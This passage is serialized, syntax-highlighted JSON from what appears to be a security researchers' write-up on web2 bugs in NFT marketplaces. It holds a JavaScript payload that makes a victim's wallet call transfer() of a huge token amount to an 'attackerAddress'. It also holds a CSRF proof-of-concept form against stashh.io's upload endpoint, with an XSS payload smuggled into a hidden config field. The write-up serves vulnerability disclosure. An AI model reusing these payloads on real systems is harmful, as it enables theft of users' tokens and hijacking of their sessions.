},\n",{"type":23,"tag":314,"props":30986,"children":30987},{"class":316,"line":1548},[30988],{"type":23,"tag":314,"props":30989,"children":30990},{"style":338},[30991],{"type":28,"value":30942},{"type":23,"tag":314,"props":30993,"children":30994},{"class":316,"line":1584},[30995,30999,31004],{"type":23,"tag":314,"props":30996,"children":30997},{"style":360},[30998],{"type":28,"value":30950},{"type":23,"tag":314,"props":31000,"children":31001},{"style":1245},[31002],{"type":28,"value":31003}," '_value'",{"type":23,"tag":314,"props":31005,"children":31006},{"style":338},[31007],{"type":28,"value":1870},{"type":23,"tag":314,"props":31009,"children":31010},{"class":316,"line":1617},[31011,31015,31020],{"type":23,"tag":314,"props":31012,"children":31013},{"style":360},[31014],{"type":28,"value":30967},{"type":23,"tag":314,"props":31016,"children":31017},{"style":1245},[31018],{"type":28,"value":31019}," 'uint256'",{"type":23,"tag":314,"props":31021,"children":31022},{"style":338},[31023],{"type":28,"value":1870},{"type":23,"tag":314,"props":31025,"children":31026},{"class":316,"line":1625},[31027],{"type":23,"tag":314,"props":31028,"children":31029},{"style":338},[31030],{"type":28,"value":30984},{"type":23,"tag":314,"props":31032,"children":31033},{"class":316,"line":1660},[31034],{"type":23,"tag":314,"props":31035,"children":31036},{"style":338},[31037],{"type":28,"value":31038}," ],\n",{"type":23,"tag":314,"props":31040,"children":31041},{"class":316,"line":1708},[31042,31047,31052],{"type":23,"tag":314,"props":31043,"children":31044},{"style":360},[31045],{"type":28,"value":31046}," name:",{"type":23,"tag":314,"props":31048,"children":31049},{"style":1245},[31050],{"type":28,"value":31051}," 'transfer'",{"type":23,"tag":314,"props":31053,"children":31054},{"style":338},[31055],{"type":28,"value":1870},{"type":23,"tag":314,"props":31057,"children":31058},{"class":316,"line":1743},[31059,31064],{"type":23,"tag":314,"props":31060,"children":31061},{"style":360},[31062],{"type":28,"value":31063}," outputs:",{"type":23,"tag":314,"props":31065,"children":31066},{"style":338},[31067],{"type":28,"value":24867},{"type":23,"tag":314,"props":31069,"children":31070},{"class":316,"line":1751},[31071],{"type":23,"tag":314,"props":31072,"children":31073},{"style":338},[31074],{"type":28,"value":30942},{"type":23,"tag":314,"props":31076,"children":31077},{"class":316,"line":1791},[31078,31082,31087],{"type":23,"tag":314,"props":31079,"children":31080},{"style":360},[31081],{"type":28,"value":30950},{"type":23,"tag":314,"props":31083,"children":31084},{"style":1245},[31085],{"type":28,"value":31086}," ''",{"type":23,"tag":314,"props":31088,"children":31089},{"style":338},[31090],{"type":28,"value":1870},{"type":23,"tag":314,"props":31092,"children":31093},{"class":316,"line":1805},[31094,31098,31103],{"type":23,"tag":314,"props":31095,"children":31096},{"style":360},[31097],{"type":28,"value":30967},{"type":23,"tag":314,"props":31099,"children":31100},{"style":1245},[31101],{"type":28,"value":31102}," 'bool'",{"type":23,"tag":314,"props":31104,"children":31105},{"style":338},[31106],{"type":28,"value":1870},{"type":23,"tag":314,"props":31108,"children":31109},{"class":316,"line":1818},[31110],{"type":23,"tag":314,"props":31111,"children":31112},{"style":338},[31113],{"type":28,"value":30984},{"type":23,"tag":314,"props":31115,"children":31116},{"class":316,"line":1873},[31117],{"type":23,"tag":314,"props":31118,"children":31119},{"style":338},[31120],{"type":28,"value":31038},{"type":23,"tag":314,"props":31122,"children":31123},{"class":316,"line":1891},[31124,31129,31134],{"type":23,"tag":314,"props":31125,"children":31126},{"style":360},[31127],{"type":28,"value":31128}," type:",{"type":23,"tag":314,"props":31130,"children":31131},{"style":1245},[31132],{"type":28,"value":31133}," 'function'",{"type":23,"tag":314,"props":31135,"children":31136},{"style":338},[31137],{"type":28,"value":1870},{"type":23,"tag":314,"props":31139,"children":31140},{"class":316,"line":1899},[31141],{"type":23,"tag":314,"props":31142,"children":31143},{"style":338},[31144],{"type":28,"value":24619},{"type":23,"tag":314,"props":31146,"children":31147},{"class":316,"line":1944},[31148],{"type":23,"tag":314,"props":31149,"children":31150},{"style":338},[31151],{"type":28,"value":31152}," ];\n",{"type":23,"tag":314,"props":31154,"children":31155},{"class":316,"line":2008},[31156],{"type":23,"tag":314,"props":31157,"children":31158},{"emptyLinePlaceholder":18},[31159],{"type":28,"value":1088},{"type":23,"tag":314,"props":31161,"children":31162},{"class":316,"line":2043},[31163,31167,31172,31176,31181,31186,31190,31195,31199,31203],{"type":23,"tag":314,"props":31164,"children":31165},{"style":321},[31166],{"type":28,"value":30795},{"type":23,"tag":314,"props":31168,"children":31169},{"style":360},[31170],{"type":28,"value":31171}," web3",{"type":23,"tag":314,"props":31173,"children":31174},{"style":354},[31175],{"type":28,"value":1237},{"type":23,"tag":314,"props":31177,"children":31178},{"style":321},[31179],{"type":28,"value":31180}," new",{"type":23,"tag":314,"props":31182,"children":31183},{"style":332},[31184],{"type":28,"value":31185}," Web3",{"type":23,"tag":314,"props":31187,"children":31188},{"style":338},[31189],{"type":28,"value":341},{"type":23,"tag":314,"props":31191,"children":31192},{"style":360},[31193],{"type":28,"value":31194},"window",{"type":23,"tag":314,"props":31196,"children":31197},{"style":338},[31198],{"type":28,"value":282},{"type":23,"tag":314,"props":31200,"children":31201},{"style":360},[31202],{"type":28,"value":30665},{"type":23,"tag":314,"props":31204,"children":31205},{"style":338},[31206],{"type":28,"value":1025},{"type":23,"tag":314,"props":31208,"children":31209},{"class":316,"line":22803},[31210],{"type":23,"tag":314,"props":31211,"children":31212},{"emptyLinePlaceholder":18},[31213],{"type":28,"value":1088},{"type":23,"tag":314,"props":31215,"children":31216},{"class":316,"line":22845},[31217,31221,31226,31230,31234,31238,31242,31247,31251,31256,31260,31265,31269,31274],{"type":23,"tag":314,"props":31218,"children":31219},{"style":321},[31220],{"type":28,"value":30795},{"type":23,"tag":314,"props":31222,"children":31223},{"style":360},[31224],{"type":28,"value":31225}," tokenContract",{"type":23,"tag":314,"props":31227,"children":31228},{"style":354},[31229],{"type":28,"value":1237},{"type":23,"tag":314,"props":31231,"children":31232},{"style":321},[31233],{"type":28,"value":31180},{"type":23,"tag":314,"props":31235,"children":31236},{"style":360},[31237],{"type":28,"value":31171},{"type":23,"tag":314,"props":31239,"children":31240},{"style":338},[31241],{"type":28,"value":282},{"type":23,"tag":314,"props":31243,"children":31244},{"style":360},[31245],{"type":28,"value":31246},"eth",{"type":23,"tag":314,"props":31248,"children":31249},{"style":338},[31250],{"type":28,"value":282},{"type":23,"tag":314,"props":31252,"children":31253},{"style":332},[31254],{"type":28,"value":31255},"Contract",{"type":23,"tag":314,"props":31257,"children":31258},{"style":338},[31259],{"type":28,"value":341},{"type":23,"tag":314,"props":31261,"children":31262},{"style":360},[31263],{"type":28,"value":31264},"tokenAbi",{"type":23,"tag":314,"props":31266,"children":31267},{"style":338},[31268],{"type":28,"value":778},{"type":23,"tag":314,"props":31270,"children":31271},{"style":360},[31272],{"type":28,"value":31273},"contractAddress",{"type":23,"tag":314,"props":31275,"children":31276},{"style":338},[31277],{"type":28,"value":1025},{"type":23,"tag":314,"props":31279,"children":31280},{"class":316,"line":22878},[31281],{"type":23,"tag":314,"props":31282,"children":31283},{"emptyLinePlaceholder":18},[31284],{"type":28,"value":1088},{"type":23,"tag":314,"props":31286,"children":31287},{"class":316,"line":22886},[31288,31292,31297,31301],{"type":23,"tag":314,"props":31289,"children":31290},{"style":321},[31291],{"type":28,"value":30795},{"type":23,"tag":314,"props":31293,"children":31294},{"style":360},[31295],{"type":28,"value":31296}," transactionObject",{"type":23,"tag":314,"props":31298,"children":31299},{"style":354},[31300],{"type":28,"value":1237},{"type":23,"tag":314,"props":31302,"children":31303},{"style":338},[31304],{"type":28,"value":1449},{"type":23,"tag":314,"props":31306,"children":31307},{"class":316,"line":22894},[31308,31313,31317],{"type":23,"tag":314,"props":31309,"children":31310},{"style":360},[31311],{"type":28,"value":31312}," from:",{"type":23,"tag":314,"props":31314,"children":31315},{"style":360},[31316],{"type":28,"value":30800},{"type":23,"tag":314,"props":31318,"children":31319},{"style":338},[31320],{"type":28,"value":1870},{"type":23,"tag":314,"props":31322,"children":31323},{"class":316,"line":22903},[31324,31329,31333],{"type":23,"tag":314,"props":31325,"children":31326},{"style":360},[31327],{"type":28,"value":31328}," to:",{"type":23,"tag":314,"props":31330,"children":31331},{"style":360},[31332],{"type":28,"value":30858},{"type":23,"tag":314,"props":31334,"children":31335},{"style":338},[31336],{"type":28,"value":1870},{"type":23,"tag":314,"props":31338,"children":31339},{"class":316,"line":22979},[31340,31345,31349,31353],{"type":23,"tag":314,"props":31341,"children":31342},{"style":360},[31343],{"type":28,"value":31344}," data:",{"type":23,"tag":314,"props":31346,"children":31347},{"style":360},[31348],{"type":28,"value":31225},{"type":23,"tag":314,"props":31350,"children":31351},{"style":338},[31352],{"type":28,"value":282},{"type":23,"tag":314,"props":31354,"children":31355},{"style":360},[31356],{"type":28,"value":31357},"methods\n",{"type":23,"tag":314,"props":31359,"children":31360},{"class":316,"line":23012},[31361,31366,31371,31375,31380,31384,31389,31393,31398,31402,31407,31411,31416,31420,31425],{"type":23,"tag":314,"props":31362,"children":31363},{"style":338},[31364],{"type":28,"value":31365}," .",{"type":23,"tag":314,"props":31367,"children":31368},{"style":332},[31369],{"type":28,"value":31370},"transfer",{"type":23,"tag":314,"props":31372,"children":31373},{"style":338},[31374],{"type":28,"value":341},{"type":23,"tag":314,"props":31376,"children":31377},{"style":360},[31378],{"type":28,"value":31379},"attackerAddress",{"type":23,"tag":314,"props":31381,"children":31382},{"style":338},[31383],{"type":28,"value":778},{"type":23,"tag":314,"props":31385,"children":31386},{"style":360},[31387],{"type":28,"value":31388},"web3",{"type":23,"tag":314,"props":31390,"children":31391},{"style":338},[31392],{"type":28,"value":282},{"type":23,"tag":314,"props":31394,"children":31395},{"style":360},[31396],{"type":28,"value":31397},"utils",{"type":23,"tag":314,"props":31399,"children":31400},{"style":338},[31401],{"type":28,"value":282},{"type":23,"tag":314,"props":31403,"children":31404},{"style":332},[31405],{"type":28,"value":31406},"toWei",{"type":23,"tag":314,"props":31408,"children":31409},{"style":338},[31410],{"type":28,"value":341},{"type":23,"tag":314,"props":31412,"children":31413},{"style":1245},[31414],{"type":28,"value":31415},"'100000000'",{"type":23,"tag":314,"props":31417,"children":31418},{"style":338},[31419],{"type":28,"value":778},{"type":23,"tag":314,"props":31421,"children":31422},{"style":1245},[31423],{"type":28,"value":31424},"'ether'",{"type":23,"tag":314,"props":31426,"children":31427},{"style":338},[31428],{"type":28,"value":18949},{"type":23,"tag":314,"props":31430,"children":31431},{"class":316,"line":23020},[31432,31436,31441],{"type":23,"tag":314,"props":31433,"children":31434},{"style":338},[31435],{"type":28,"value":31365},{"type":23,"tag":314,"props":31437,"children":31438},{"style":332},[31439],{"type":28,"value":31440},"encodeABI",{"type":23,"tag":314,"props":31442,"children":31443},{"style":338},[31444],{"type":28,"value":2747},{"type":23,"tag":314,"props":31446,"children":31447},{"class":316,"line":23028},[31448],{"type":23,"tag":314,"props":31449,"children":31450},{"style":338},[31451],{"type":28,"value":8172},{"type":23,"tag":314,"props":31453,"children":31454},{"class":316,"line":23065},[31455],{"type":23,"tag":314,"props":31456,"children":31457},{"emptyLinePlaceholder":18},[31458],{"type":28,"value":1088},{"type":23,"tag":314,"props":31460,"children":31461},{"class":316,"line":23078},[31462,31467,31471,31475,31479,31484,31488,31493],{"type":23,"tag":314,"props":31463,"children":31464},{"style":360},[31465],{"type":28,"value":31466}," web3",{"type":23,"tag":314,"props":31468,"children":31469},{"style":338},[31470],{"type":28,"value":282},{"type":23,"tag":314,"props":31472,"children":31473},{"style":360},[31474],{"type":28,"value":31246},{"type":23,"tag":314,"props":31476,"children":31477},{"style":338},[31478],{"type":28,"value":282},{"type":23,"tag":314,"props":31480,"children":31481},{"style":332},[31482],{"type":28,"value":31483},"sendTransaction",{"type":23,"tag":314,"props":31485,"children":31486},{"style":338},[31487],{"type":28,"value":341},{"type":23,"tag":314,"props":31489,"children":31490},{"style":360},[31491],{"type":28,"value":31492},"transactionObject",{"type":23,"tag":314,"props":31494,"children":31495},{"style":338},[31496],{"type":28,"value":1025},{"type":23,"tag":314,"props":31498,"children":31499},{"class":316,"line":23091},[31500],{"type":23,"tag":314,"props":31501,"children":31502},{"style":338},[31503],{"type":28,"value":31504}," });\n",{"type":23,"tag":314,"props":31506,"children":31507},{"class":316,"line":23104},[31508],{"type":23,"tag":314,"props":31509,"children":31510},{"style":338},[31511],{"type":28,"value":5126},{"type":23,"tag":314,"props":31513,"children":31514},{"class":316,"line":23158},[31515],{"type":23,"tag":314,"props":31516,"children":31517},{"style":338},[31518],{"type":28,"value":386},{"type":23,"tag":314,"props":31520,"children":31521},{"class":316,"line":23167},[31522],{"type":23,"tag":314,"props":31523,"children":31524},{"emptyLinePlaceholder":18},[31525],{"type":28,"value":1088},{"type":23,"tag":314,"props":31527,"children":31529},{"class":316,"line":31528},51,[31530,31534,31538,31543],{"type":23,"tag":314,"props":31531,"children":31532},{"style":321},[31533],{"type":28,"value":18721},{"type":23,"tag":314,"props":31535,"children":31536},{"style":338},[31537],{"type":28,"value":341},{"type":23,"tag":314,"props":31539,"children":31540},{"style":1245},[31541],{"type":28,"value":31542},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":23,"tag":314,"props":31544,"children":31545},{"style":338},[31546],{"type":28,"value":1025},{"type":23,"tag":314,"props":31548,"children":31550},{"class":316,"line":31549},52,[31551,31556,31560,31564,31568,31573],{"type":23,"tag":314,"props":31552,"children":31553},{"style":332},[31554],{"type":28,"value":31555},"setTimeout",{"type":23,"tag":314,"props":31557,"children":31558},{"style":338},[31559],{"type":28,"value":341},{"type":23,"tag":314,"props":31561,"children":31562},{"style":360},[31563],{"type":28,"value":30741},{"type":23,"tag":314,"props":31565,"children":31566},{"style":338},[31567],{"type":28,"value":778},{"type":23,"tag":314,"props":31569,"children":31570},{"style":1054},[31571],{"type":28,"value":31572},"1e3",{"type":23,"tag":314,"props":31574,"children":31575},{"style":338},[31576],{"type":28,"value":1025},{"type":23,"tag":24,"props":31578,"children":31579},{},[31580,31585],{"type":23,"tag":721,"props":31581,"children":31582},{},[31583],{"type":28,"value":31584},"CSRF & XSS",{"type":28,"value":31586},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":23,"tag":24,"props":31588,"children":31589},{},[31590,31592,31597],{"type":28,"value":31591},"Our attention was drawn to ",{"type":23,"tag":31,"props":31593,"children":31595},{"href":30530,"rel":31594},[35],[31596],{"type":28,"value":30534},{"type":28,"value":31598},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":23,"tag":24,"props":31600,"children":31601},{},[31602],{"type":23,"tag":197,"props":31603,"children":31605},{"alt":7,"src":31604},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":23,"tag":24,"props":31607,"children":31608},{},[31609],{"type":28,"value":31610},"and here there is the code:",{"type":23,"tag":304,"props":31612,"children":31614},{"className":30611,"code":31613,"language":30613,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n })()\n\n \u003C/script>\n\u003C/html>\n",[31615],{"type":23,"tag":94,"props":31616,"children":31617},{"__ignoreMap":7},[31618,31635,31652,31686,31772,31829,32028,32069,32085,32101,32108,32123,32130,32142,32201,32208,32271,32300,32338,32345,32383,32396,32403,32418],{"type":23,"tag":314,"props":31619,"children":31620},{"class":316,"line":317},[31621,31626,31631],{"type":23,"tag":314,"props":31622,"children":31624},{"style":31623},"--shiki-default:#808080",[31625],{"type":28,"value":5060},{"type":23,"tag":314,"props":31627,"children":31628},{"style":321},[31629],{"type":28,"value":31630},"html",{"type":23,"tag":314,"props":31632,"children":31633},{"style":31623},[31634],{"type":28,"value":5247},{"type":23,"tag":314,"props":31636,"children":31637},{"class":316,"line":370},[31638,31643,31648],{"type":23,"tag":314,"props":31639,"children":31640},{"style":31623},[31641],{"type":28,"value":31642}," \u003C",{"type":23,"tag":314,"props":31644,"children":31645},{"style":321},[31646],{"type":28,"value":31647},"body",{"type":23,"tag":314,"props":31649,"children":31650},{"style":31623},[31651],{"type":28,"value":5247},{"type":23,"tag":314,"props":31653,"children":31654},{"class":316,"line":380},[31655,31659,31664,31668,31673,31678,31682],{"type":23,"tag":314,"props":31656,"children":31657},{"style":31623},[31658],{"type":28,"value":31642},{"type":23,"tag":314,"props":31660,"children":31661},{"style":321},[31662],{"type":28,"value":31663},"script",{"type":23,"tag":314,"props":31665,"children":31666},{"style":31623},[31667],{"type":28,"value":9710},{"type":23,"tag":314,"props":31669,"children":31670},{"style":338},[31671],{"type":28,"value":31672},"history.pushState('', '', '/')",{"type":23,"tag":314,"props":31674,"children":31675},{"style":31623},[31676],{"type":28,"value":31677},"\u003C/",{"type":23,"tag":314,"props":31679,"children":31680},{"style":321},[31681],{"type":28,"value":31663},{"type":23,"tag":314,"props":31683,"children":31684},{"style":31623},[31685],{"type":28,"value":5247},{"type":23,"tag":314,"props":31687,"children":31688},{"class":316,"line":1091},[31689,31694,31699,31704,31708,31713,31718,31722,31727,31731,31735,31740,31745,31749,31754,31759,31763,31768],{"type":23,"tag":314,"props":31690,"children":31691},{"style":31623},[31692],{"type":28,"value":31693}," \u003C",{"type":23,"tag":314,"props":31695,"children":31696},{"style":321},[31697],{"type":28,"value":31698},"form",{"type":23,"tag":314,"props":31700,"children":31701},{"style":360},[31702],{"type":28,"value":31703}," id",{"type":23,"tag":314,"props":31705,"children":31706},{"style":354},[31707],{"type":28,"value":1102},{"type":23,"tag":314,"props":31709,"children":31710},{"style":1245},[31711],{"type":28,"value":31712},"\"form123\"",{"type":23,"tag":314,"props":31714,"children":31715},{"style":360},[31716],{"type":28,"value":31717}," action",{"type":23,"tag":314,"props":31719,"children":31720},{"style":354},[31721],{"type":28,"value":1102},{"type":23,"tag":314,"props":31723,"children":31724},{"style":1245},[31725],{"type":28,"value":31726},"\"https://stashh.io/upload_asset\"",{"type":23,"tag":314,"props":31728,"children":31729},{"style":360},[31730],{"type":28,"value":16349},{"type":23,"tag":314,"props":31732,"children":31733},{"style":354},[31734],{"type":28,"value":1102},{"type":23,"tag":314,"props":31736,"children":31737},{"style":1245},[31738],{"type":28,"value":31739},"\"POST\"",{"type":23,"tag":314,"props":31741,"children":31742},{"style":360},[31743],{"type":28,"value":31744}," enctype",{"type":23,"tag":314,"props":31746,"children":31747},{"style":354},[31748],{"type":28,"value":1102},{"type":23,"tag":314,"props":31750,"children":31751},{"style":1245},[31752],{"type":28,"value":31753},"\"multipart/form-data\"",{"type":23,"tag":314,"props":31755,"children":31756},{"style":360},[31757],{"type":28,"value":31758}," value",{"type":23,"tag":314,"props":31760,"children":31761},{"style":354},[31762],{"type":28,"value":1102},{"type":23,"tag":314,"props":31764,"children":31765},{"style":1245},[31766],{"type":28,"value":31767},"\"asd\"",{"type":23,"tag":314,"props":31769,"children":31770},{"style":31623},[31771],{"type":28,"value":5247},{"type":23,"tag":314,"props":31773,"children":31774},{"class":316,"line":1141},[31775,31780,31784,31789,31793,31798,31803,31807,31812,31816,31820,31825],{"type":23,"tag":314,"props":31776,"children":31777},{"style":31623},[31778],{"type":28,"value":31779}," \u003C",{"type":23,"tag":314,"props":31781,"children":31782},{"style":321},[31783],{"type":28,"value":99},{"type":23,"tag":314,"props":31785,"children":31786},{"style":360},[31787],{"type":28,"value":31788}," type",{"type":23,"tag":314,"props":31790,"children":31791},{"style":354},[31792],{"type":28,"value":1102},{"type":23,"tag":314,"props":31794,"children":31795},{"style":1245},[31796],{"type":28,"value":31797},"\"file\"",{"type":23,"tag":314,"props":31799,"children":31800},{"style":360},[31801],{"type":28,"value":31802}," name",{"type":23,"tag":314,"props":31804,"children":31805},{"style":354},[31806],{"type":28,"value":1102},{"type":23,"tag":314,"props":31808,"children":31809},{"style":1245},[31810],{"type":28,"value":31811},"\"data\"",{"type":23,"tag":314,"props":31813,"children":31814},{"style":360},[31815],{"type":28,"value":31703},{"type":23,"tag":314,"props":31817,"children":31818},{"style":354},[31819],{"type":28,"value":1102},{"type":23,"tag":314,"props":31821,"children":31822},{"style":1245},[31823],{"type":28,"value":31824},"\"file123\"",{"type":23,"tag":314,"props":31826,"children":31827},{"style":31623},[31828],{"type":28,"value":5247},{"type":23,"tag":314,"props":31830,"children":31831},{"class":316,"line":1173},[31832,31837,31841,31845,31849,31854,31858,31862,31867,31871,31875,31879,31884,31889,31894,31899,31904,31908,31913,31918,31923,31927,31932,31937,31941,31946,31951,31956,31961,31966,31971,31976,31980,31985,31990,31995,32000,32005,32009,32014,32019,32023],{"type":23,"tag":314,"props":31833,"children":31834},{"style":31623},[31835],{"type":28,"value":31836}," \u003C",{"type":23,"tag":314,"props":31838,"children":31839},{"style":321},[31840],{"type":28,"value":99},{"type":23,"tag":314,"props":31842,"children":31843},{"style":360},[31844],{"type":28,"value":31788},{"type":23,"tag":314,"props":31846,"children":31847},{"style":354},[31848],{"type":28,"value":1102},{"type":23,"tag":314,"props":31850,"children":31851},{"style":1245},[31852],{"type":28,"value":31853},"\"hidden\"",{"type":23,"tag":314,"props":31855,"children":31856},{"style":360},[31857],{"type":28,"value":31802},{"type":23,"tag":314,"props":31859,"children":31860},{"style":354},[31861],{"type":28,"value":1102},{"type":23,"tag":314,"props":31863,"children":31864},{"style":1245},[31865],{"type":28,"value":31866},"\"config\"",{"type":23,"tag":314,"props":31868,"children":31869},{"style":360},[31870],{"type":28,"value":31758},{"type":23,"tag":314,"props":31872,"children":31873},{"style":354},[31874],{"type":28,"value":1102},{"type":23,"tag":314,"props":31876,"children":31877},{"style":1245},[31878],{"type":28,"value":19297},{"type":23,"tag":314,"props":31880,"children":31881},{"style":321},[31882],{"type":28,"value":31883},"{"",{"type":23,"tag":314,"props":31885,"children":31886},{"style":1245},[31887],{"type":28,"value":31888},"address",{"type":23,"tag":314,"props":31890,"children":31891},{"style":321},[31892],{"type":28,"value":31893},"":"",{"type":23,"tag":314,"props":31895,"children":31896},{"style":1245},[31897],{"type":28,"value":31898},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":23,"tag":314,"props":31900,"children":31901},{"style":321},[31902],{"type":28,"value":31903},"<",{"type":23,"tag":314,"props":31905,"children":31906},{"style":1245},[31907],{"type":28,"value":197},{"type":23,"tag":314,"props":31909,"children":31910},{"style":321},[31911],{"type":28,"value":31912},"/",{"type":23,"tag":314,"props":31914,"children":31915},{"style":1245},[31916],{"type":28,"value":31917},"src",{"type":23,"tag":314,"props":31919,"children":31920},{"style":321},[31921],{"type":28,"value":31922},"=",{"type":23,"tag":314,"props":31924,"children":31925},{"style":1245},[31926],{"type":28,"value":18514},{"type":23,"tag":314,"props":31928,"children":31929},{"style":321},[31930],{"type":28,"value":31931}," ",{"type":23,"tag":314,"props":31933,"children":31934},{"style":1245},[31935],{"type":28,"value":31936},"onerror",{"type":23,"tag":314,"props":31938,"children":31939},{"style":321},[31940],{"type":28,"value":31922},{"type":23,"tag":314,"props":31942,"children":31943},{"style":1245},[31944],{"type":28,"value":31945},"alert",{"type":23,"tag":314,"props":31947,"children":31948},{"style":321},[31949],{"type":28,"value":31950},"(",{"type":23,"tag":314,"props":31952,"children":31953},{"style":1245},[31954],{"type":28,"value":31955},"document",{"type":23,"tag":314,"props":31957,"children":31958},{"style":321},[31959],{"type":28,"value":31960},".",{"type":23,"tag":314,"props":31962,"children":31963},{"style":1245},[31964],{"type":28,"value":31965},"domain",{"type":23,"tag":314,"props":31967,"children":31968},{"style":321},[31969],{"type":28,"value":31970},")>","",{"type":23,"tag":314,"props":31972,"children":31973},{"style":1245},[31974],{"type":28,"value":31975},"to",{"type":23,"tag":314,"props":31977,"children":31978},{"style":321},[31979],{"type":28,"value":31893},{"type":23,"tag":314,"props":31981,"children":31982},{"style":1245},[31983],{"type":28,"value":31984},"profile",{"type":23,"tag":314,"props":31986,"children":31987},{"style":321},[31988],{"type":28,"value":31989},"-",{"type":23,"tag":314,"props":31991,"children":31992},{"style":1245},[31993],{"type":28,"value":31994},"assets",{"type":23,"tag":314,"props":31996,"children":31997},{"style":321},[31998],{"type":28,"value":31999},"","",{"type":23,"tag":314,"props":32001,"children":32002},{"style":1245},[32003],{"type":28,"value":32004},"type",{"type":23,"tag":314,"props":32006,"children":32007},{"style":321},[32008],{"type":28,"value":31893},{"type":23,"tag":314,"props":32010,"children":32011},{"style":1245},[32012],{"type":28,"value":32013},"icon",{"type":23,"tag":314,"props":32015,"children":32016},{"style":321},[32017],{"type":28,"value":32018},""}",{"type":23,"tag":314,"props":32020,"children":32021},{"style":1245},[32022],{"type":28,"value":19297},{"type":23,"tag":314,"props":32024,"children":32025},{"style":31623},[32026],{"type":28,"value":32027}," />\n",{"type":23,"tag":314,"props":32029,"children":32030},{"class":316,"line":1208},[32031,32035,32039,32043,32047,32052,32056,32060,32065],{"type":23,"tag":314,"props":32032,"children":32033},{"style":31623},[32034],{"type":28,"value":31836},{"type":23,"tag":314,"props":32036,"children":32037},{"style":321},[32038],{"type":28,"value":99},{"type":23,"tag":314,"props":32040,"children":32041},{"style":360},[32042],{"type":28,"value":31788},{"type":23,"tag":314,"props":32044,"children":32045},{"style":354},[32046],{"type":28,"value":1102},{"type":23,"tag":314,"props":32048,"children":32049},{"style":1245},[32050],{"type":28,"value":32051},"\"submit\"",{"type":23,"tag":314,"props":32053,"children":32054},{"style":360},[32055],{"type":28,"value":31758},{"type":23,"tag":314,"props":32057,"children":32058},{"style":354},[32059],{"type":28,"value":1102},{"type":23,"tag":314,"props":32061,"children":32062},{"style":1245},[32063],{"type":28,"value":32064},"\"Submit request\"",{"type":23,"tag":314,"props":32066,"children":32067},{"style":31623},[32068],{"type":28,"value":32027},{"type":23,"tag":314,"props":32070,"children":32071},{"class":316,"line":1216},[32072,32077,32081],{"type":23,"tag":314,"props":32073,"children":32074},{"style":31623},[32075],{"type":28,"value":32076}," \u003C/",{"type":23,"tag":314,"props":32078,"children":32079},{"style":321},[32080],{"type":28,"value":31698},{"type":23,"tag":314,"props":32082,"children":32083},{"style":31623},[32084],{"type":28,"value":5247},{"type":23,"tag":314,"props":32086,"children":32087},{"class":316,"line":1301},[32088,32093,32097],{"type":23,"tag":314,"props":32089,"children":32090},{"style":31623},[32091],{"type":28,"value":32092}," \u003C/",{"type":23,"tag":314,"props":32094,"children":32095},{"style":321},[32096],{"type":28,"value":31647},{"type":23,"tag":314,"props":32098,"children":32099},{"style":31623},[32100],{"type":28,"value":5247},{"type":23,"tag":314,"props":32102,"children":32103},{"class":316,"line":1343},[32104],{"type":23,"tag":314,"props":32105,"children":32106},{"emptyLinePlaceholder":18},[32107],{"type":28,"value":1088},{"type":23,"tag":314,"props":32109,"children":32110},{"class":316,"line":1351},[32111,32115,32119],{"type":23,"tag":314,"props":32112,"children":32113},{"style":31623},[32114],{"type":28,"value":31642},{"type":23,"tag":314,"props":32116,"children":32117},{"style":321},[32118],{"type":28,"value":31663},{"type":23,"tag":314,"props":32120,"children":32121},{"style":31623},[32122],{"type":28,"value":5247},{"type":23,"tag":314,"props":32124,"children":32125},{"class":316,"line":1387},[32126],{"type":23,"tag":314,"props":32127,"children":32128},{"emptyLinePlaceholder":18},[32129],{"type":28,"value":1088},{"type":23,"tag":314,"props":32131,"children":32132},{"class":316,"line":1422},[32133,32138],{"type":23,"tag":314,"props":32134,"children":32135},{"style":338},[32136],{"type":28,"value":32137}," (async ()=>",{"type":23,"tag":314,"props":32139,"children":32140},{"style":321},[32141],{"type":28,"value":10129},{"type":23,"tag":314,"props":32143,"children":32144},{"class":316,"line":1430},[32145,32150,32155,32160,32165,32169,32173,32178,32182,32187,32192,32197],{"type":23,"tag":314,"props":32146,"children":32147},{"style":360},[32148],{"type":28,"value":32149}," const",{"type":23,"tag":314,"props":32151,"children":32152},{"style":360},[32153],{"type":28,"value":32154}," blob",{"type":23,"tag":314,"props":32156,"children":32157},{"style":354},[32158],{"type":28,"value":32159}," = ",{"type":23,"tag":314,"props":32161,"children":32162},{"style":2284},[32163],{"type":28,"value":32164},"await",{"type":23,"tag":314,"props":32166,"children":32167},{"style":354},[32168],{"type":28,"value":2324},{"type":23,"tag":314,"props":32170,"children":32171},{"style":2284},[32172],{"type":28,"value":32164},{"type":23,"tag":314,"props":32174,"children":32175},{"style":332},[32176],{"type":28,"value":32177}," 